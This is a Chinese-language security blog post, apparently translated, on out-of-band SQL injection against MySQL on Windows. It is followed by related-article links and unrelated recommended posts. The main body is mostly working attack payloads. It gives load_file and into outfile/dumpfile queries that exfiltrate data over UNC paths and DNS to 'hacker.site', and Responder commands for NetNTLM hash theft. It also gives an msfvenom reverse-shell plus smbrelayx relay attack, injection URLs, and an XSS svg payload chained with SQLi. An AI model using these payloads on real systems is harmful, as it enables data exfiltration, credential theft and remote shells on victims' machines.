概述

当涉及到MSSQL与Oracle时,Out-of-Band 注入是非常好的方式。但我注意到MySQL注入的情况并非如此,于是我准备以自己在SQL注入方面的经验做相关的研究。我们可以利用诸如load_file() 和 select…into之类的函数来outfile/dumpfile。除此之外,我们还可以窃取NetNTLM哈希或者进行SMB中继攻击。这所有的一切都只能在Windows环境下的MySQL中实现。

什么是 Out-of-Band 注入?

这些攻击涉及除了通过除服务器提取数据之外的其他方式,可能是HTTP(S)请求、DNS解析、文件系统、电子邮件等,具体取决于后端实现的功能。

MySQL中的限制条件

MySQL中有一个名为secure_file_priv的全局系统变量。这个变量用于限制数据导入和导出操作造成的影响,例如由LOAD DATA 和SELECT…INTO OUTFILE语句和LOAD_FILE()函数执行的操作。

  • 如果变量设置为目录的名称,则服务器会将导入和导出操作限制在跟这个目录中一起使用。这个目录必须存在,服务器不会自己创建它。
  • 如果变量为空,则不会产生影响,引起不安全的配置。
  • 如果变量设置为NULL,那么服务器就会禁用导入和导出操作。这个值从MySQL 5.5.53版本开始允许。

在MySQL 5.5.53之前,此变量默认为空,因此我们就可以使用这些函数。但是在5.5.53之后的版本中,NULL值会禁用这些功能。我们可使用其中的一种方法来检查这个变量的值。Secure_file_priv是一个全局变量,它是一个只读变量,你不能在运行时改变它。

select @@secure_file_priv;

select @@global.secure_file_priv;

show variables like “secure_file_priv”;

例如我的MySQL 5.5.34中的默认值为空,我们就可以使用这些功能。

在MySQL 5.6.34版本中,这个值默认是NULL,这将禁用导入和导出操作。

解决方案

这里有几个解决方法,可以在5.5.53之后的版本中克服这个问题。

  • 启动mysqld进程,将“-secure-file-priv =”参数设置为空。

mysqld.exe –secure-file-priv=

  • 在“my.ini”配置文件中添加条目:

secure-file-priv=

查找默认选项的加载顺序和配置文件的路径,键入以下内容:

mysqld.exe –help –verbose

  • 将配置文件指向mysqld.exe

你可以创建一个新文件”myfile.ini”并将此文件作为MySQL的默认配置。

mysqld.exe –defaults-file=myfile.ini

配置内容如下

[mysqld]

secure-file-priv=

使用文件系统提取数据

在MySQL中,我们可以使用共享文件系统作为替代通道来提取数据。

select @@version into outfile ‘\\\\192.168.0.100\\temp\\out.txt’;

select @@version into dumpfile ‘\\\\192.168.0.100\\temp\\out.txt’;

select @@version into outfile ‘//192.168.0.100/temp/out.txt’;

select @@version into dumpfile ‘//192.168.0.100/temp/out.txt’;

请注意,如果过滤引号,无法使用十六进制会话或者其他格式作为文件路径

使用DNS解析提取数据

可以在MySQL中使用的另一个渠道是DNS解析。

select load_file(concat(‘\\\\’,version(),’.hacker.site\\a.txt’));

select load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874));

可以清楚地看到版本5.6.34跟DNS查询一起发送。

当MySQL尝试解析DNS查询时,我们可以记录DNS请求并从“hacker.site”DNS服务器成功提取数据。数据记录为子域。

提取数据时需要注意DNS请求不能使用特殊字符。可以利用MySQL字符串函数如mid、substr、replace等处理这些情况。

窃取NetNTLM哈希

正如你之前看到的,’load_file’和’into outfile / dumpfile’在Windows下的UNC路径下运行正常,可以用于解析一个不存在的路径,当DNS失败时,请求将作为LLMNR发送、NetBIOS- NS查询。通过投毒LLMNR协议,我们可以捕获NTLMv2哈希。 我们在攻击中可用到的工具包括:

以Responder为例。在Windows 8 x64中运行MySQL 5.6.34。

responder -I eth0 -rv

接下来,我们可以使用’load_file’,’into outfile / dumpfile’或’load data infile’来解析一个无效的UNC路径。

select load_file(‘\\\\error\\abc’);

select load_file(0x5c5c5c5c6572726f725c5c616263);

select ‘osanda’ into dumpfile ‘\\\\error\\abc’;

select ‘osanda’ into outfile ‘\\\\error\\abc’;

load data infile ‘\\\\error\\abc’ into table database.table_name;

视频演示:

https://www.youtube.com/watch?v=zE-TsQVn9oI

你也可以通过互联网窃取NetNTLM哈希。用VPS测试。

SMB中继攻击

通过使用“load_file”,“into outfile / dumpfile”和“load data infile”等函数,我们可以在Windows下访问UNC路径。我们可以在执行SMB中继攻击时利用此功能,并且在目标设备中弹出一个shell。以下是SMB中继攻击的可视化演示。这是我的实验设置配置:

  • MySQL服务器:Windows 8: 192.168.0.100
  • 攻击者:Kali: 192.168.0.101
  • 受害者:Windows 7: 192.168.0.103(以管理员身份运行)

使用的工具

首先,我在我的Kali上生成一个反向shell,并在Metasploit上运行’multi/handler’模块。

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.101 LPORT=443 -f exe >
reverse_shell.exe

然后使用smbrelayx指定受害者的IP地址和生成的反向shell并等待传入的连接。

smbrelayx.py -h 192.168.0.103 -e ./reverse_shell.exe

一旦我们从MySQL服务器中执行任意语句,我们就可以得到反向shell。

select load_file(‘\\\\192.168.0.101\\aa’);

select load_file(0x5c5c5c5c3139322e3136382e302e3130315c5c6161);

select ‘osanda’ into dumpfile ‘\\\\192.168.0.101\\aa’;

select ‘osanda’ into outfile ‘\\\\192.168.0.101\\aa’;

load data infile ‘\\\\192.168.0.101\\aa’ into table database.table_name;

这些是Metasploit中’multi / handler’模块的选项。

一旦MySQL服务器把请求发送到Kali,smbrelayx就会执行SMB中继攻击将我们的反向shell上传并执行。

如果攻击成功,我们就可以从Windows 7中获得反向shell。

union注入和报错注入

‘load_file’函数能够用于基于union的报错注入。例如在基于union的场景中,我们可以使用OOB注入:

http://192.168.0.100/?
id=-1'+union+select+1,load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e7478
74)),3-- -

我们也可以使用基于报错的技术如BIGINT溢出方法或者基于EXP报错的方法。

http://192.168.0.100/?id=-1' or !(select*from(select
load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874)))x)-~0-- - http://192.168.0.100/?id=-1' or exp(~(select*from(select
load_file(concat(0x5c5c5c5c,version(),0x2e6861636b65722e736974655c5c612e747874)))a))-- -

不使用or,可以使用 ||, |, and, &&, &, >>, <<, ^, xor, <=, <, ,>, >=, *, mul, /, div, -, +, %, mod等。

XSS + SQLi

我们可以将XSS攻击与MySQL相结合,以便于在渗透测试中帮你解决不同场景中的问题。我们可以执行执行窃取NetNTLM哈希和结合XSS的SMB中继攻击。如果XSS是持续的,那么受害者每次访问页面都会被感染。需要注意的是,当处理JavaScript时,你处于同源策略(SOP)环境下。

<svg onload=fetch(("http://192.168.0.100/?
id=-1'+union+select+1,load_file(0x5c5c5c5c6572726f725c5c6161),3-- -"))>

还可以使用MySQL回显HTML,从而回显一个无效的UNC路径来窃取NetNTLM哈希或者直接使用攻击者的IP实施SMB中继攻击。这些UNC路径仅在IE Web浏览器中解析。

http://192.168.0.100/?id=-1' union select 1,'<img src="\\\\error\\aa">'%23

总结

当向量被禁用、受限或者被过滤且唯一的选择就是使用推理方法,从而导致所有带内方法不起作用时,可以使用这些讨论的方法。’select … into outfile / dumpfile’可以用于基于union的注入。’load_file’方法可以用于基于union的注入和基于报错的注入。

Paper

参考

MySQL Out-of-Band 攻击的更多相关文章

  1. 网站mysql防止sql注入攻击 3种方法总结

    mysql数据库一直以来都遭受到sql注入攻击的影响,很多网站,包括目前的PC端以及手机端都在使用php+mysql数据库这种架构,大多数网站受到的攻击都是与sql注入攻击有关,那么mysql数据库如 ...

  2. kali 系列学习10-渗透攻击MySQL数据库服务、PostgreSQL数据库服务、Tomcat服务和PDF文件

    介绍使用MSFCONSOLE工具渗透攻击MySQL数据库服务.PostgreSQL数据库服务.Tomcat服务和PDF文件等. 6.4.1 渗透攻击MySQL数据库服务 MySQL是一个关系型数据库管 ...

  3. PHP函数 addslashes() 和 mysql_real_escape_string() 的区别 && SQL宽字节,绕过单引号注入攻击

    首先:不要使用 mysql_escape_string(),它已被弃用,请使用 mysql_real_escape_string() 代替它. mysql_real_escape_string() 和 ...

  4. 对于新安装的MySQL如何提升MySQL的安全级别

    一 作为最流行的开源数据库引擎,MySQL本身是非常安全的.即便如此,你仍然需要添加额外的安全层来保护你的MySQL数据库不受攻击,毕竟任何经营网上在线业务的人都不想冒数据库受到损坏的风险.接下来,我 ...

  5. mysql max_allowed_packet自动重置为1024 终结解决

    背景: 测试环境1台centOS机器,最近一段频繁报“ Caused by: com.mysql.jdbc.PacketTooBigException: Packet for query is too ...

  6. 警惕!MySQL成数据勒索新目标

    据最新报道显示,继MongoDB和Elasticsearch之后,MySQL成为下个数据勒索目标,从2月12日凌晨开始,已有成百上千个开放在公网的MySQL数据库被劫持,删除了数据库中的存储数据,攻击 ...

  7. 腾讯云报告——MySQL成勒索新目标,数据服务基线安全问题迫在眉睫

    推荐理由 大数据时代,人类产生的数据越来越多,但数据越多的情况下,也会带来数据的安全性问题,如MySQL数据库上的数据,越来越多的黑客盯上了它,今天推荐的这篇文章来自于腾讯云技术社区,主要是针对MyS ...

  8. MySQL成勒索新目标,数据服务基线安全问题迫在眉睫

    版权声明:本文由云鼎实验室原创文章,转载请注明出处: 文章原文链接:https://www.qcloud.com/community/article/519598001488335177 来源:腾云阁 ...

  9. Kali-linux渗透攻击应用

    前面依次介绍了Armitage.MSFCONSOLE和MSFCLI接口的概念及使用.本节将介绍使用MSFCONSOLE工具渗透攻击MySQL数据库服务.PostgreSQL数据库服务.Tomcat服务 ...

  10. mysql数据库详解

    001 数据库应用系统设计 1.规划   2.需求分析   3.概念模型设计   4.逻辑设计   5.物理设计   6.程序编制及调试   7.运行及维护. 002 创建数据库 CREATE DAT ...

随机推荐

  1. RabbitMQ图解

    一.MQ对比 二.RabbitMQ模式 三.队列模式 四.公平分发 五.主题模式

  2. 51nod 1443 路径和树(最短路树)

    题目链接:路径和树 题意:给定无向带权连通图,求从u开始边权和最小的最短路树,输出最小边权和. 题解:构造出最短路树,把存留下来的边权全部加起来.(跑dijkstra的时候松弛加上$ < $变成 ...

  3. QBXT Day2主要是数据结构(没写完先占坑)

    简单数据结构 本节课可能用到的一些复杂度: O(log n). 1/1+1/1/.....1/N+O(n log n) 在我们初学OI的时候,总会遇到这么一道题. 给出N次操作,每次加入一个数,或者询 ...

  4. Nginx简易编译安装

    1.下载Nginx: http://nginx.org/download/nginx-1.6.3.tar.gz 2.安装Pcre.Zlib.Openssl等相关组件: [root@track ngin ...

  5. SpringBoot学习笔记(6) SpringBoot数据缓存Cache [Guava和Redis实现]

    https://blog.csdn.net/a67474506/article/details/52608855 Spring定义了org.springframework.cache.CacheMan ...

  6. 【ZJOI2007】粒子运动

    若此段起始点为(stx,sty),速度为(vx,vy),设碰撞时间为t,则(stx+vx·t)²+(sty+vy·t)²=r² → stx²+vx²·t²+2·stx·vx·t+sty²+vy²·t² ...

  7. 在vue中使用import()来代替require.ensure()实现代码打包分离

    最近看到一种router的写法 import Vue from 'vue' import Router from 'vue-router' Vue.use(Router) const login = ...

  8. 第十四篇-ImageButton控制聚焦,单击,常态三种状态的显示背景

    这里先用XML设置. myselector.xml <?xml version="1.0" encoding="utf-8"?> <selec ...

  9. SSH框架调用scrapy爬虫

    毕设刚答辩完毕,不用担心查重了,所以补一篇毕设的内容. 毕设是图片搜索网站,使用python爬虫获取图片资源,再由javaweb管理使用图片的信息和图片,大部分实现起来十分简单,也不好意思炫耀.但是有 ...

  10. (Bash博弈)51nod1067 Bash游戏 V2

    1067 Bash游戏 V2 有一堆石子共有N个.A B两个人轮流拿,A先拿.每次只能拿1,3,4颗,拿到最后1颗石子的人获胜.假设A B都非常聪明,拿石子的过程中不会出现失误.给出N,问最后谁能赢得 ...